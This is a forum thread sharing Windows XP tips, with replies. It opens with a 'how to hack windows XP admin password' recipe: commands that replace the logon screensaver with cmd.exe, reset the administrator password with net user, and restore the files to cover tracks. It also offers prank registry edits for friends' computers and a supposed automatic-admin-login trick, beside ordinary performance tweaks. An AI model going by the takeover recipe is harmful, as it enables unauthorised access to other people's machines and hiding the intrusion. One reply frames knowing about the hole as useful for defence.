Xp Tips And Tricks

[Danmidas 0]

WINDOWS TIPS COLLECTION

How to hack windows XP admin password

 

If you log into a limited account on your target machine and open up a dos prompt

then enter this set of commands Exactly:

 

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

 

Now what you have just done is told the computer to backup the command program

and the screen saver file, then edits the settings so when the machine boots the

screen saver you will get an unprotected dos prompt with out logging into XP.

 

Once this happens if you enter this command minus the quotes

 

"net user <admin account name here> password"

 

If the Administrator Account is called Frank and you want the password blah enter this

 

"net user Frank blah"

 

and this changes the password on franks machine to blah and your in.

 

 

Have fun

 

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

 

 

 

Registry Hacking

 

Display legal notice on startup:

Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.

REGEDIT

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption"

"legalnoticetext"="enter your legal notice text"

 

Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.

REGEDIT 4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"AutoAdminLogon"="1"

 

No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in their computer.

Just hack it down !!!

Regedit

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer

"NoClose"="DWORD:1"

 

Menu Delays:

 

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

 

GPEDIT.MSC And Autoplay

 

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

 

Increasing options in add/remove programs:

 

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

 

[Components]

NtComponents=ntoc.dll,NtOcSetupProc,,4

WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7

Display=desk.cpl,DisplayOcSetupProc,,7

Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7

NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7

iis=iis.dll,OcEntry,iis.inf,,7

com=comsetup.dll,OcEntry,comnt5.inf,hide,7

dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7

IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7

TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2

msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6

ims=imsinsnt.dll,OcEntry,ims.inf,,7

fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7

AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7

IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

 

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

 

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

 

To this:

 

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

 

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

 

Automatically Kill Programs At Shutdown:

 

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

 

Speeding Up Share Viewing:

 

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

 

Create a Shortcut to Lock Your Computer

 

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

 

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

 

Aspi

 

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

Edited May 5, 2007 by XPkiller (see edit history)

[Chesso 0]

May I suggest, revising and re-formatting this text (and if it is gained from somewhere else word, for word, use the QUOTE tags and add the source URL if applicable).

[Danmidas 0]

hmm, it didnt copy properly, it looked OK, when i previewed itit had the quotes and everything.......

[SilverFox1405241541 0]

Chesso what more could u expect more from danmidas?Why does it use unix commands (cd) if its a windows hack?

Edited May 5, 2007 by SilverFox (see edit history)

[HellFire121 0]

I wouldn't personally muck around with the registry like this, i'd rather use some tweak program (For example the type that comes with norton system works)Good info anyways but yeah as i said i wouldn't do this.I find that you can't do much editing with the command prompt itself. It's good for shell things like copying, running files, viewing services etc etc-HellFire

[Grafitti 0]

Create a Shortcut to Lock Your Computer

or simply press Windows+Lsame function and just as quick

[patronus4000 0]

I agree with HellFire. It's dangerous to play around with the registries, especially when you really don't know what you're doing. A spelling mistake in those instructions or even some other typo could seriously destroy someone's computer. I'm already scared enough when I'm cleaning my registry out. XD (I install and uninstall a lot of random applications, okay?)Besides that point, some of them are quite threatening to all admins. I wouldn't want users I set to limited to be hacking into my administrator account! D= They're a danger to my computer and privacy!Serena

[toby 0]

The only one I thought would be useful, the shortcut lock, just does the same thing as switch user on the logoff menu.

[Grafitti 0]

Yes, but knowing that there is the potential for someone to elevate themselves to admin level and do what they want is helpful, because if you weren't told about it, you'd be thinking you were safe while they're laughing behind your back. Like this, you know Windows is not necessarily a total safe environment, so you supplement the protection with 3rd party programs that specialize in it. some that come to mind off hand are Folder Guard, Winguard, !st Security Administrator, and PC Security.

[robert2411 0]

thanksthis is very usefull can you ride more of this stuff

[Network1405241550 0]

Hmm, i do not like these at all......... but i guess they would come in useful for someone.At silverfox, im sure dos uses cd to change directry

[cybernaut 0]

This is a good tips. I might try it one day. Thank you.

[comkidwizzer3 0]

I will try it later on when I can find my XP disk.

Edited February 16, 2008 by comkidwizzer3 (see edit history)

[iGuest 3]

Correction to short cut target for locking workstationXp Tips And Tricks

I think the short cut target should be type this way

rundll32.Exe user32.Dll, LockWorkStation 

-reply by William - IT

[Eggie 0]

i think you should write some "undo's" of this tricks that you can do so someone who doesn't know how to reverse it can do it too...and not like you do something and than ask yourself:"why did i do it,i can't bring it back to original state,another 1 hour of googling" XD thanks,Eggie